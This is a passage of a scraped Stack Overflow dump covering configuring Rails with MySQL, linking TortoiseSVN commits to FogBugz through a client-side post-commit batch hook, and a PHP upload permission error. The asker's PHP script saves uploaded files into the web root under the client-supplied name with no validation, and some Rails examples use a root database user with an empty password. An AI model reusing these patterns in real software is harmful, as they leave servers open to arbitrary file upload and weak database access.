"author_id": 2079997, "author_profile": "https://Stackoverflow.com/users/2079997", "pm_score": 4, "selected": false, "text": "<pre><code>rails new &lt;project_name&gt; -d mysql\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>rails new projectname\n</code></pre>\n\n<p>Changes in config/database.yml</p>\n\n<pre><code>development:\n adapter: mysql2\n database: db_name_name\n username: root\n password:\n host: localhost\n socket: /tmp/mysql.sock\n</code></pre>\n" }, { "answer_id": 14438074, "author": "Abhinav", "author_id": 1996835, "author_profile": "https://Stackoverflow.com/users/1996835", "pm_score": 5, "selected": false, "text": "<p>Go to the terminal and write:</p>\n\n<pre><code>rails new &lt;project_name&gt; -d mysql\n</code></pre>\n" }, { "answer_id": 14440100, "author": "Dipali Nagrale", "author_id": 1645570, "author_profile": "https://Stackoverflow.com/users/1645570", "pm_score": 4, "selected": false, "text": "<p>Create application with -d option</p>\n\n<pre><code>rails new AppName -d mysql\n</code></pre>\n" }, { "answer_id": 24365127, "author": "Drake Mandin", "author_id": 3767282, "author_profile": "https://Stackoverflow.com/users/3767282", "pm_score": 5, "selected": false, "text": "<p>If you have not created your app yet, just go to cmd(for windows) or terminal(for linux/unix) and type the following command to create a rails application with mysql database:</p>\n\n<p><code>$rails new &lt;your_app_name&gt; -d mysql</code></p>\n\n<p>It works for anything above rails version 3. If you have already created your app, then you can do one of the 2 following things:</p>\n\n<ol>\n<li>Create a <i>another_name</i> app with mysql database, go to cd <i>another_name</i>/config/ and copy the database.yml file from this new app. Paste it into the database.yml of <i>your_app_name</i> app. But ensure to change the database names and set username/password of your database accordingly in the database.yml file after doing so.</li>\n</ol>\n\n<p>OR</p>\n\n<ol>\n<li>Go to cd <i>your_app_name</i>/config/ and open database.yml. Rename as following:</li>\n</ol>\n\n<p>development:<br>\n adapter: mysql2 <br>\n database: db_name_name<br>\n username: root<br>\n password:<br>\n host: localhost<br>\n socket: /tmp/mysql.sock<br></p>\n\n<p>Moreover, remove gem 'sqlite3' from your Gemfile and add the gem 'mysql2'</p>\n" }, { "answer_id": 42243150, "author": "Amarpreet Jethra", "author_id": 6375692, "author_profile": "https://Stackoverflow.com/users/6375692", "pm_score": 3, "selected": false, "text": "<p>Just go to rails console and type:</p>\n\n<pre><code>rails new YOURAPPNAME -d mysql\n</code></pre>\n" }, { "answer_id": 46322499, "author": "Shabbir", "author_id": 8572496, "author_profile": "https://Stackoverflow.com/users/8572496", "pm_score": 2, "selected": false, "text": "<p>First make sure that mysql gem is installed, if not? than type following command in your console</p>\n\n<pre><code>gem install mysql2\n</code></pre>\n\n<p>Than create new rails app and set mysql database as default database by typing following command in your console</p>\n\n<pre><code>rails new app-name -d mysql\n</code></pre>\n" }, { "answer_id": 48695295, "author": "Riccardo", "author_id": 362420, "author_profile": "https://Stackoverflow.com/users/362420", "pm_score": 2, "selected": false, "text": "<p>On new project, easy peasy: </p>\n\n<pre><code>rails new your_new_project_name -d mysql\n</code></pre>\n\n<p>On existing project, definitely trickier. This has given me a number of issues on existing rails projects. This kind of works with me:</p>\n\n<pre><code># On Gemfile:\ngem 'mysql2', '&gt;= 0.3.18', '&lt; 0.5' # copied from a new project for rails 5.1 :)\ngem 'activerecord-mysql-adapter' # needed for mysql..\n\n# On Dockerfile or on CLI:\nsudo apt-get install -y mysql-client libmysqlclient-dev \n</code></pre>\n" }, { "answer_id": 52131248, "author": "Dinesh Vaitage", "author_id": 5710925, "author_profile": "https://Stackoverflow.com/users/5710925", "pm_score": 0, "selected": false, "text": "<p><strong>Use following command to create new app for API with mysql database</strong></p>\n\n<pre><code>rails new &lt;appname&gt; --api -d mysql\n\n\n adapter: mysql2\n encoding: utf8\n pool: 5\n username: root\n password: \n socket: /var/run/mysqld/mysqld.sock\n</code></pre>\n" }, { "answer_id": 54820357, "author": "artamonovdev", "author_id": 5754223, "author_profile": "https://Stackoverflow.com/users/5754223", "pm_score": 0, "selected": false, "text": "<p><strong>database.yml</strong></p>\n\n<pre><code># MySQL. Versions 5.1.10 and up are supported.\n#\n# Install the MySQL driver\n# gem install mysql2\n#\n# Ensure the MySQL gem is defined in your Gemfile\n# gem 'mysql2'\n#\n# And be sure to use new-style password hashing:\n# https://dev.mysql.com/doc/refman/5.7/en/password-hashing.html\n#\ndefault: &amp;default\n adapter: mysql2\n encoding: utf8\n pool: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n host: localhost\n database: database_name\n username: username\n password: secret\n\ndevelopment:\n &lt;&lt;: *default\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n &lt;&lt;: *default\n\n# As with config/secrets.yml, you never want to store sensitive information,\n# like your database password, in your source code. If your source code is\n# ever seen by anyone, they now have access to your database.\n#\n# Instead, provide the password as a unix environment variable when you boot\n# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database\n# for a full rundown on how to provide these environment variables in a\n# production deployment.\n#\n# On Heroku and other platform providers, you may have a full connection URL\n# available as an environment variable. For example:\n#\n# DATABASE_URL=\"mysql2://myuser:mypass@localhost/somedatabase\"\n#\n# You can use this database configuration with:\n#\n# production:\n# url: &lt;%= ENV['DATABASE_URL'] %&gt;\n#\nproduction:\n &lt;&lt;: *default\n</code></pre>\n\n<p><strong>Gemfile</strong>:</p>\n\n<pre><code># Use mysql as the database for Active Record\ngem 'mysql2', '&gt;= 0.4.4', '&lt; 0.6.0'\n</code></pre>\n" }, { "answer_id": 61106989, "author": "Muhammad Elbadawy", "author_id": 8111491, "author_profile": "https://Stackoverflow.com/users/8111491", "pm_score": 0, "selected": false, "text": "<p>you first should make sure that MySQL driver is on your system if not run this on your terminal if you are using Ubuntu or any Debian distro</p>\n\n<pre><code>sudo apt-get install mysql-client libmysqlclient-dev\n</code></pre>\n\n<p>and add this to your Gemfile</p>\n\n<pre><code>gem 'mysql2', '~&gt; 0.3.16'\n</code></pre>\n\n<p>then run in your root directory of the project </p>\n\n<pre><code>bundle install\n</code></pre>\n\n<p>after that you can add the mysql config to config/database.yml as the previous answers</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3585", "https://Stackoverflow.com", "https://Stackoverflow.com/users/124/" ]
I want to create my Rails application with MySQL, because I like it so much. How can I do that in the latest version of Rails instead of the default SQLite?
If you already have a rails project, change the adapter in the `config/database.yml` file to `mysql` and make sure you specify a valid username and password, and optionally, a socket: ``` development: adapter: mysql2 database: db_name_dev username: koploper password: host: localhost socket: /tmp/mysql.sock ``` Next, make sure you edit your Gemfile to include the mysql2 or activerecord-jdbcmysql-adapter (if using jruby).
3,607
<p>I've got TotroiseSVN installed and have a majority of my repositories checking in and out from C:\subversion\ <em>and a couple checking in and out from a network share (I forgot about this when I originally posted this question)</em>.</p> <p>This means that I don't have a "subversion" server per-se.</p> <p>How do I integrate TortoiseSVN and Fogbugz?</p> <p><em>Edit: inserted italics</em></p>
[ { "answer_id": 3610, "author": "cmcculloh", "author_id": 58, "author_profile": "https://Stackoverflow.com/users/58", "pm_score": 4, "selected": false, "text": "<p><strong>This answer is incomplete and flawed! It only works from TortoisSVN to Fogbugz, but not the other way around. I still need to know how to get it to work backwards from Fogbugz (like it's designed to) so that I can see the Revision number a bug is addressed in from Fogbugz while looking at a bug.</strong></p>\n\n<hr>\n\n<h2>Helpful URLS</h2>\n\n<p><a href=\"http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-propertypage.html\" rel=\"nofollow noreferrer\">http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-propertypage.html</a></p>\n\n<p><a href=\"http://tortoisesvn.net/issuetracker_integration\" rel=\"nofollow noreferrer\">http://tortoisesvn.net/issuetracker_integration</a></p>\n\n<hr>\n\n<h2>Set the \"Hooks\"</h2>\n\n<ol>\n<li><p>Go into your fogbugz account and click Extras > Configure Source Control Integration</p></li>\n<li><p>Download \"post-commit.bat\" and the VBScript file for Subversion</p></li>\n<li><p>Create a \"hooks\" directory in a common easily accessed location (preferably with no spaces in the file path)</p></li>\n<li><p>Place a copy of the files in the hooks directories</p></li>\n<li><p>Rename the files without the \".safe\" extension</p></li>\n<li><p>Right click on any directory.</p></li>\n<li><p>Select \"TortoiseSVN > Settings\" (in the right click menu from the last step)</p></li>\n<li><p>Select \"Hook Scripts\"</p></li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/QmCxE.png\" width=\"600\"/></p>\n\n<ol>\n<li><p>Click \"Add\"</p></li>\n<li><p>Set the properties thus:</p>\n\n<ul>\n<li><p>Hook Type: Post-Commit Hook </p></li>\n<li><p>Working Copy Path: C:\\\\Projects (or whatever your root directory for all of your projects is. If you have multiple you will need to do this step for each one.) </p></li>\n<li><p>Command Line To Execute: C:\\\\subversion\\\\hooks\\\\post-commit.bat (this needs to point to wherever you put your hooks directory from step 3)</p></li>\n<li><p>I also selected the checkbox to Wait for the script to finish...</p></li>\n</ul></li>\n</ol>\n\n<p><strong>WARNING: Don't forget the double back-slash! \"\\\\\"</strong></p>\n\n<p>Click OK...</p>\n\n<p><img src=\"https://i.stack.imgur.com/GFHEz.png\" alt=\"Adding a Hook Script\"></p>\n\n<p><em>Note: the screenshot is different, follow the text for the file paths, NOT the screenshot...</em></p>\n\n<p>At this point it would seem you could click \"Issue Tracker Integration\" and select Fogbugz. nope. It just returns \"There are no issue-tracker providers available\".</p>\n\n<ol>\n<li>Click \"OK\" to close the whole\nsettings dialogue window</li>\n</ol>\n\n<h2>Configure the Properties</h2>\n\n<ol start=\"2\">\n<li><p>Once again, Right click on the root directory of the checked out\nproject you want to work with (you need to do this \"configure the properties\" step for each project -- See \"Migrating Properties Between Projects\" below)</p></li>\n<li><p>Select \"TortoiseSVN > Properties\" (in the right click menu\nfrom the last step)</p></li>\n<li><p>Add five property value pairs by clicking \"New...\" and inserting the\nfollowing in \"Property Name\" and\n\"Property Value\" respectively:</p></li>\n</ol>\n\n<blockquote>\n <p>bugtraq:label BugzID:<br>\n bugtraq:message BugzID: %%BUGID%%</p>\n \n <p>bugtraq:number true</p>\n \n <p>bugtraq:url <a href=\"http://[your\" rel=\"nofollow noreferrer\">http://[your</a> fogbugz URL\n here]/default.asp?%BUGID%</p>\n \n <p>bugtraq:warnifnoissue false</p>\n</blockquote>\n\n<p><img src=\"https://i.stack.imgur.com/K28XR.png\" alt=\"properties window\">\n<img src=\"https://i.stack.imgur.com/yDnSC.png\" alt=\"adding new property\"></p>\n\n<ol start=\"15\">\n<li>Click \"OK\"</li>\n</ol>\n\n<h2>Commiting Changes and Viewing the Logs</h2>\n\n<p>Now when you are commiting, you can specify one bug that the commit addresses. This kind of forces you to commit after fixing each bug...</p>\n\n<p><img src=\"https://i.stack.imgur.com/pGnHL.png\" alt=\"specifying bug addressed when commiting\"></p>\n\n<p>When you view the log (Right click root of project, TortoiseSVN > show log) you can see the bug id that each checking corresponds to (1), and you can click the bug id number to be taken to fogbugz to view that bug automatically if you are looking at the actual log message. Pretty nifty!</p>\n\n<p><img src=\"https://i.stack.imgur.com/ejsUb.png\" width=\"600\"/></p>\n\n<hr>\n\n<h2>Migrating Properties Between Projects</h2>\n\n<ol>\n<li><p>Right click on a project that already has the proper Properties configuration</p></li>\n<li><p>Select \"TortoiseSVN > Properties\" (from the right-click menu from step 1)</p></li>\n<li><p>Highlight all of the desired properties</p></li>\n<li><p>Click \"Export\"</p></li>\n<li><p>Name the file after the property, and place in an easily accessible directory (I placed mine with the hooks files)</p></li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/ywPry.png\" alt=\"save properties dialogue\"></p>\n\n<ol start=\"5\">\n<li><p>Right click on the root directory of the checked out project needing properties set for.</p></li>\n<li><p>Click \"Import\"</p></li>\n<li><p>Select the file you exported in step 4 above</p></li>\n<li><p>Click Open</p></li>\n</ol>\n" }, { "answer_id": 5810, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 2, "selected": false, "text": "<p>Why can't you simply install a subversion server? If you download <a href=\"http://www.visualsvn.com/server/\" rel=\"nofollow noreferrer\">VisualSVN Server</a>, which is free, you get a http server for your source code and can thus use the FogBugz scripts for integrating the two.</p>\n\n<p>The reason I'm asking is because all scripts and documentation so far assumes you have the server, client-side scripts are too new for FogBugz to have templates for them so you're pretty much left to your own devices on that.</p>\n" }, { "answer_id": 5819, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 0, "selected": false, "text": "<p>I am not sure I follow you. Do you have the repositories on the network or on your C:\\ drive? According to two of your posts, you have both, or neither, or one of them or...</p>\n\n<p>You can not get VisualSVN or Apache to safely serve repositories from a network share. Since you originally said you had the repositories on your C:\\ drive, that's what you get advice for. If you have a different setup, you need to tell us about that.</p>\n\n<p>If you have the repositories on your local harddisk, I would install VisualSVN, or integrate it into Apache. VisualSVN can run fine alongside Apache so if you go that route you only have to install it. Your existing repositories can also just be copied into the repository root directory of VisualSVN and you're up and running.</p>\n\n<p>I am unsure why that big post here is labelled as incomplete, as it details the steps necessary to set up a hook script to inform FogBugz about the new revisions linked to the cases, which should be what the <em>incomplete</em> message says it doesn't do. Is that not working?</p>\n" }, { "answer_id": 9764, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 1, "selected": false, "text": "<p>The problem is that FogBugz will link to a web page, and file:///etc is not a web page. To get integration two ways, you need a web server for your subversion repository. Either set up Apache or something else that can host those things the proper way.</p>\n" }, { "answer_id": 370131, "author": "Andy Madge", "author_id": 46433, "author_profile": "https://Stackoverflow.com/users/46433", "pm_score": 5, "selected": true, "text": "<p>I've been investigating this issue and have managed to get it working. There are a couple of minor problems but they can be worked-around.</p>\n\n<p>There are 3 distinct parts to this problem, as follows:</p>\n\n<ol>\n<li><p><strong>The TortoiseSVN part</strong> - getting TortoiseSVN to insert the Bugid and hyperlink in the svn log</p></li>\n<li><p><strong>The FogBugz part</strong> - getting FogBugz to insert the SVN info and corresponding links</p></li>\n<li><p><strong>The WebSVN part</strong> - ensuring the links from FogBugz actually work</p></li>\n</ol>\n\n<p>Instructions for part 1 are in another answer, although it actually does more than required. The stuff about the hooks is actually for part 2, and as is pointed out - it doesn't work \"out of the box\"</p>\n\n<p><strong>Just to confirm, we are looking at using TortoiseSVN <em>WITHOUT</em> an SVN server (ie. file-based repositories)</strong></p>\n\n<p>I'm accessing the repositories using UNC paths, but it also works for local drives or mapped drives.</p>\n\n<p>All of this works with TortoiseSVN v1.5.3 and SVN Server v1.5.2 (You need to install SVN Server because part 2 needs <code>svnlook.exe</code> which is in the server package. You don't actually configure it to work as an SVN Server) It may even be possible to just copy <code>svnlook.exe</code> from another computer and put it somewhere in your path.</p>\n\n<h1>Part 1 - TortoiseSVN</h1>\n\n<p>Creating the TortoiseSVN properties is all that is required in order to get the links in the SVN log.</p>\n\n<p>Previous instructions work fine, I'll quote them here for convenience:</p>\n\n<blockquote>\n <h2>Configure the Properties</h2>\n \n <ol>\n <li><p>Right click on the root directory of the checked out project you want to work with.</p></li>\n <li><p>Select \"TortoiseSVN -> Properties\"</p></li>\n <li><p>Add five property value pairs by clicking \"New...\" and inserting the following in \"Property Name\" and \"Property Value\" respectively: (make sure you tick \"Apply property recursively\" for each one)</p>\n\n<pre><code>bugtraq:label BugzID:\nbugtraq:message BugzID: %BUGID%\nbugtraq:number true\nbugtraq:url http://[your fogbugz URL here]/default.asp?%BUGID%\nbugtraq:warnifnoissue false\n</code></pre></li>\n <li><p>Click \"OK\"</p></li>\n </ol>\n</blockquote>\n\n<p>As Jeff says, you'll need to do that for each working copy, so follow his instructions for migrating the properties.</p>\n\n<p>That's it. TortoiseSVN will now add a link to the corresponding FogBugz bugID when you commit. If that's all you want, you can stop here.</p>\n\n<h1>Part 2 - FogBugz</h1>\n\n<p>For this to work we need to set up the hook scripts. Basically the batch file is called after each commit, and this in turn calls the VBS script which does the submission to FogBugz. The VBS script actually works fine in this situation so we don't need to modify it.</p>\n\n<p>The problem is that the batch file is written to work as a <em>server</em> hook, but we need a <em>client</em> hook.</p>\n\n<p>SVN server calls the post-commit hook with these parameters:</p>\n\n<pre><code>&lt;repository-path&gt; &lt;revision&gt;\n</code></pre>\n\n<p>TortoiseSVN calls the post-commit hook with these parameters:</p>\n\n<pre><code>&lt;affected-files&gt; &lt;depth&gt; &lt;messagefile&gt; &lt;revision&gt; &lt;error&gt; &lt;working-copy-path&gt;\n</code></pre>\n\n<p>So that's why it doesn't work - the parameters are wrong. We need to amend the batch file so it passes the correct parameters to the VBS script.</p>\n\n<p>You'll notice that TSVN doesn't pass the repository path, which is a problem, but it does work in the following circumstances:</p>\n\n<ul>\n<li>The repository name and working copy name are the same</li>\n<li>You do the commit at the root of the working copy, not a subfolder.</li>\n</ul>\n\n<p>I'm going to see if I can fix this problem and will post back here if I do.</p>\n\n<p>Here's my amended batch file which does work (please excuse the excessive comments...)</p>\n\n<p>You'll need to set the hook and repository directories to match your setup.</p>\n\n<pre><code>rem @echo off\nrem SubVersion -&gt; FogBugz post-commit hook file\nrem Put this into the Hooks directory in your subversion repository\nrem along with the logBugDataSVN.vbs file\n\nrem TSVN calls this with args &lt;PATH&gt; &lt;DEPTH&gt; &lt;MESSAGEFILE&gt; &lt;REVISION&gt; &lt;ERROR&gt; &lt;CWD&gt;\nrem The ones we're interested in are &lt;REVISION&gt; and &lt;CWD&gt; which are %4 and %6\n\nrem YOU NEED TO EDIT THE LINE WHICH SETS RepoRoot TO POINT AT THE DIRECTORY \nrem THAT CONTAINS YOUR REPOSITORIES AND ALSO YOU MUST SET THE HOOKS DIRECTORY\n\nsetlocal\n\nrem debugging\nrem echo %1 %2 %3 %4 %5 %6 &gt; c:\\temp\\test.txt\n\nrem Set Hooks directory location (no trailing slash)\nset HooksDir=\\\\myserver\\svn\\hooks\n\nrem Set Repo Root location (ie. the directory containing all the repos)\nrem (no trailing slash)\nset RepoRoot=\\\\myserver\\svn\n\nrem Build full repo location\nset Repo=%RepoRoot%\\%~n6\n\nrem debugging\nrem echo %Repo% &gt;&gt; c:\\temp\\test.txt\n\nrem Grab the last two digits of the revision number\nrem and append them to the log of svn changes\nrem to avoid simultaneous commit scenarios causing overwrites\nset ChangeFileSuffix=%~4\nset LogSvnChangeFile=svn%ChangeFileSuffix:~-2,2%.txt\n\nset LogBugDataScript=logBugDataSVN.vbs\nset ScriptCommand=cscript\n\nrem Could remove the need for svnlook on the client since TSVN \nrem provides as parameters the info we need to call the script.\nrem However, it's in a slightly different format than the script is expecting\nrem for parsing, therefore we would have to amend the script too, so I won't bother.\nrem @echo on\nsvnlook changed -r %4 %Repo% &gt; %temp%\\%LogSvnChangeFile%\nsvnlook log -r %4 %Repo% | %ScriptCommand% %HooksDir%\\%LogBugDataScript% %4 %temp%\\%LogSvnChangeFile% %~n6\n\ndel %temp%\\%LogSvnChangeFile%\nendlocal\n</code></pre>\n\n<p>I'm going to assume the repositories are at <code>\\\\myserver\\svn\\</code> and working copies are all under `C:\\Projects\\</p>\n\n<ol>\n<li><p>Go into your FogBugz account and click Extras -> Configure Source Control Integration</p></li>\n<li><p>Download the VBScript file for Subversion (don't bother with the batch file)</p></li>\n<li><p>Create a folder to store the hook scripts. I put it in the same folder as my repositories. eg. <code>\\\\myserver\\svn\\hooks\\</code></p></li>\n<li><p>Rename VBscript to remove the <code>.safe</code> at the end of the filename.</p></li>\n<li><p>Save my version of the batch file in your hooks directory, as <code>post-commit-tsvn.bat</code></p></li>\n<li><p>Right click on any directory.</p></li>\n<li><p>Select \"TortoiseSVN > Settings\" (in the right click menu from the last step)</p></li>\n<li><p>Select \"Hook Scripts\"</p></li>\n<li><p>Click \"Add\" and set the properties as follows:</p>\n\n<ul>\n<li><p>Hook Type: Post-Commit Hook</p></li>\n<li><p>Working Copy Path: <code>C:\\Projects</code> (or whatever your root directory for all of your projects is.)</p></li>\n<li><p>Command Line To Execute: <code>\\\\myserver\\svn\\hooks\\post-commit-tsvn.bat</code> (this needs to point to wherever you put your hooks directory in step 3)</p></li>\n<li><p>Tick \"Wait for the script to finish\"</p></li>\n</ul></li>\n<li><p>Click OK twice.</p></li>\n</ol>\n\n<p>Next time you commit and enter a Bugid, it will be submitted to FogBugz. The links won't work but at least the revision info is there and you can manually look up the log in TortoiseSVN.</p>\n\n<p>NOTE: You'll notice that the repository root is hard-coded into the batch file. As a result, if you check out from repositories that don't have the same root (eg. one on local drive and one on network) then you'll need to use 2 batch files and 2 corresponding entries under Hook Scripts in the TSVN settings. The way to do this would be to have 2 separate Working Copy trees - one for each repository root.</p>\n\n<h1>Part 3 - WebSVN</h1>\n\n<p>Errr, I haven't done this :-)</p>\n\n<p>From reading the WebSVN docs, it seems that WebSVN doesn't actually integrate with the SVN server, it just behaves like any other SVN client but presents a web interface. In theory then it should work fine with a file-based repository. I haven't tried it though.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3607", "https://Stackoverflow.com", "https://Stackoverflow.com/users/58/" ]
I've got TotroiseSVN installed and have a majority of my repositories checking in and out from C:\subversion\ *and a couple checking in and out from a network share (I forgot about this when I originally posted this question)*. This means that I don't have a "subversion" server per-se. How do I integrate TortoiseSVN and Fogbugz? *Edit: inserted italics*
I've been investigating this issue and have managed to get it working. There are a couple of minor problems but they can be worked-around. There are 3 distinct parts to this problem, as follows: 1. **The TortoiseSVN part** - getting TortoiseSVN to insert the Bugid and hyperlink in the svn log 2. **The FogBugz part** - getting FogBugz to insert the SVN info and corresponding links 3. **The WebSVN part** - ensuring the links from FogBugz actually work Instructions for part 1 are in another answer, although it actually does more than required. The stuff about the hooks is actually for part 2, and as is pointed out - it doesn't work "out of the box" **Just to confirm, we are looking at using TortoiseSVN *WITHOUT* an SVN server (ie. file-based repositories)** I'm accessing the repositories using UNC paths, but it also works for local drives or mapped drives. All of this works with TortoiseSVN v1.5.3 and SVN Server v1.5.2 (You need to install SVN Server because part 2 needs `svnlook.exe` which is in the server package. You don't actually configure it to work as an SVN Server) It may even be possible to just copy `svnlook.exe` from another computer and put it somewhere in your path. Part 1 - TortoiseSVN ==================== Creating the TortoiseSVN properties is all that is required in order to get the links in the SVN log. Previous instructions work fine, I'll quote them here for convenience: > > Configure the Properties > ------------------------ > > > 1. Right click on the root directory of the checked out project you want to work with. > 2. Select "TortoiseSVN -> Properties" > 3. Add five property value pairs by clicking "New..." and inserting the following in "Property Name" and "Property Value" respectively: (make sure you tick "Apply property recursively" for each one) > > > > ``` > bugtraq:label BugzID: > bugtraq:message BugzID: %BUGID% > bugtraq:number true > bugtraq:url http://[your fogbugz URL here]/default.asp?%BUGID% > bugtraq:warnifnoissue false > > ``` > 4. Click "OK" > > > As Jeff says, you'll need to do that for each working copy, so follow his instructions for migrating the properties. That's it. TortoiseSVN will now add a link to the corresponding FogBugz bugID when you commit. If that's all you want, you can stop here. Part 2 - FogBugz ================ For this to work we need to set up the hook scripts. Basically the batch file is called after each commit, and this in turn calls the VBS script which does the submission to FogBugz. The VBS script actually works fine in this situation so we don't need to modify it. The problem is that the batch file is written to work as a *server* hook, but we need a *client* hook. SVN server calls the post-commit hook with these parameters: ``` <repository-path> <revision> ``` TortoiseSVN calls the post-commit hook with these parameters: ``` <affected-files> <depth> <messagefile> <revision> <error> <working-copy-path> ``` So that's why it doesn't work - the parameters are wrong. We need to amend the batch file so it passes the correct parameters to the VBS script. You'll notice that TSVN doesn't pass the repository path, which is a problem, but it does work in the following circumstances: * The repository name and working copy name are the same * You do the commit at the root of the working copy, not a subfolder. I'm going to see if I can fix this problem and will post back here if I do. Here's my amended batch file which does work (please excuse the excessive comments...) You'll need to set the hook and repository directories to match your setup. ``` rem @echo off rem SubVersion -> FogBugz post-commit hook file rem Put this into the Hooks directory in your subversion repository rem along with the logBugDataSVN.vbs file rem TSVN calls this with args <PATH> <DEPTH> <MESSAGEFILE> <REVISION> <ERROR> <CWD> rem The ones we're interested in are <REVISION> and <CWD> which are %4 and %6 rem YOU NEED TO EDIT THE LINE WHICH SETS RepoRoot TO POINT AT THE DIRECTORY rem THAT CONTAINS YOUR REPOSITORIES AND ALSO YOU MUST SET THE HOOKS DIRECTORY setlocal rem debugging rem echo %1 %2 %3 %4 %5 %6 > c:\temp\test.txt rem Set Hooks directory location (no trailing slash) set HooksDir=\\myserver\svn\hooks rem Set Repo Root location (ie. the directory containing all the repos) rem (no trailing slash) set RepoRoot=\\myserver\svn rem Build full repo location set Repo=%RepoRoot%\%~n6 rem debugging rem echo %Repo% >> c:\temp\test.txt rem Grab the last two digits of the revision number rem and append them to the log of svn changes rem to avoid simultaneous commit scenarios causing overwrites set ChangeFileSuffix=%~4 set LogSvnChangeFile=svn%ChangeFileSuffix:~-2,2%.txt set LogBugDataScript=logBugDataSVN.vbs set ScriptCommand=cscript rem Could remove the need for svnlook on the client since TSVN rem provides as parameters the info we need to call the script. rem However, it's in a slightly different format than the script is expecting rem for parsing, therefore we would have to amend the script too, so I won't bother. rem @echo on svnlook changed -r %4 %Repo% > %temp%\%LogSvnChangeFile% svnlook log -r %4 %Repo% | %ScriptCommand% %HooksDir%\%LogBugDataScript% %4 %temp%\%LogSvnChangeFile% %~n6 del %temp%\%LogSvnChangeFile% endlocal ``` I'm going to assume the repositories are at `\\myserver\svn\` and working copies are all under `C:\Projects\ 1. Go into your FogBugz account and click Extras -> Configure Source Control Integration 2. Download the VBScript file for Subversion (don't bother with the batch file) 3. Create a folder to store the hook scripts. I put it in the same folder as my repositories. eg. `\\myserver\svn\hooks\` 4. Rename VBscript to remove the `.safe` at the end of the filename. 5. Save my version of the batch file in your hooks directory, as `post-commit-tsvn.bat` 6. Right click on any directory. 7. Select "TortoiseSVN > Settings" (in the right click menu from the last step) 8. Select "Hook Scripts" 9. Click "Add" and set the properties as follows: * Hook Type: Post-Commit Hook * Working Copy Path: `C:\Projects` (or whatever your root directory for all of your projects is.) * Command Line To Execute: `\\myserver\svn\hooks\post-commit-tsvn.bat` (this needs to point to wherever you put your hooks directory in step 3) * Tick "Wait for the script to finish" 10. Click OK twice. Next time you commit and enter a Bugid, it will be submitted to FogBugz. The links won't work but at least the revision info is there and you can manually look up the log in TortoiseSVN. NOTE: You'll notice that the repository root is hard-coded into the batch file. As a result, if you check out from repositories that don't have the same root (eg. one on local drive and one on network) then you'll need to use 2 batch files and 2 corresponding entries under Hook Scripts in the TSVN settings. The way to do this would be to have 2 separate Working Copy trees - one for each repository root. Part 3 - WebSVN =============== Errr, I haven't done this :-) From reading the WebSVN docs, it seems that WebSVN doesn't actually integrate with the SVN server, it just behaves like any other SVN client but presents a web interface. In theory then it should work fine with a file-based repository. I haven't tried it though.
3,611
<p>I'm trying to write some PHP to upload a file to a folder on my webserver. Here's what I have:</p> <pre><code>&lt;?php if ( !empty($_FILES['file']['tmp_name']) ) { move_uploaded_file($_FILES['file']['tmp_name'], './' . $_FILES['file']['name']); header('Location: http://www.mywebsite.com/dump/'); exit; } ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Dump Upload&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Upload a File&lt;/h1&gt; &lt;form action="upload.php" enctype="multipart/form-data" method="post"&gt; &lt;input type="hidden" name="MAX_FILE_SIZE" value="1000000000" /&gt; Select the File:&lt;br /&gt;&lt;input type="file" name="file" /&gt;&lt;br /&gt; &lt;input type="submit" value="Upload" /&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I'm getting these errors:</p> <blockquote> <p>Warning: move_uploaded_file(./test.txt) [function.move-uploaded-file]: failed to open stream: Permission denied in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 3</p> <p>Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move 'C:\WINDOWS\Temp\phpA30E.tmp' to './test.txt' in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 3</p> <p>Warning: Cannot modify header information - headers already sent by (output started at E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php:3) in E:\inetpub\vhosts\mywebsite.com\httpdocs\dump\upload.php on line 4</p> </blockquote> <p>PHP version 4.4.7 Running IIS on a Windows box. This particular file/folder has 777 permissions.</p> <p>Any ideas?</p>
[ { "answer_id": 3617, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 1, "selected": false, "text": "<p>Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move 'C:\\WINDOWS\\Temp\\phpA30E.tmp' to './people.xml' in E:\\inetpub\\vhosts\\mywebsite.com\\httpdocs\\dump\\upload.php on line 3</p>\n\n<p>is the important line it says you can't put the file where you want it and this normally means a permissions problem</p>\n\n<p>check the process running the app (normally the webservers process for php) has the rights to write a file there.</p>\n\n<p>EDIT:</p>\n\n<p>hang on a bit\nI jumped the gun a little is the path to the file in the first line correct?</p>\n" }, { "answer_id": 3618, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 4, "selected": true, "text": "<p>As it's Windows, there is no real 777. If you're using <a href=\"http://fr2.php.net/manual/en/function.chmod.php\" rel=\"noreferrer\">chmod</a>, check the Windows-related comments.</p>\n\n<p>Check that the IIS Account can access (read, write, modify) these two folders:</p>\n\n<pre><code>E:\\inetpub\\vhosts\\mywebsite.com\\httpdocs\\dump\\\nC:\\WINDOWS\\Temp\\\n</code></pre>\n" }, { "answer_id": 4618, "author": "Kevin", "author_id": 40, "author_profile": "https://Stackoverflow.com/users/40", "pm_score": 2, "selected": false, "text": 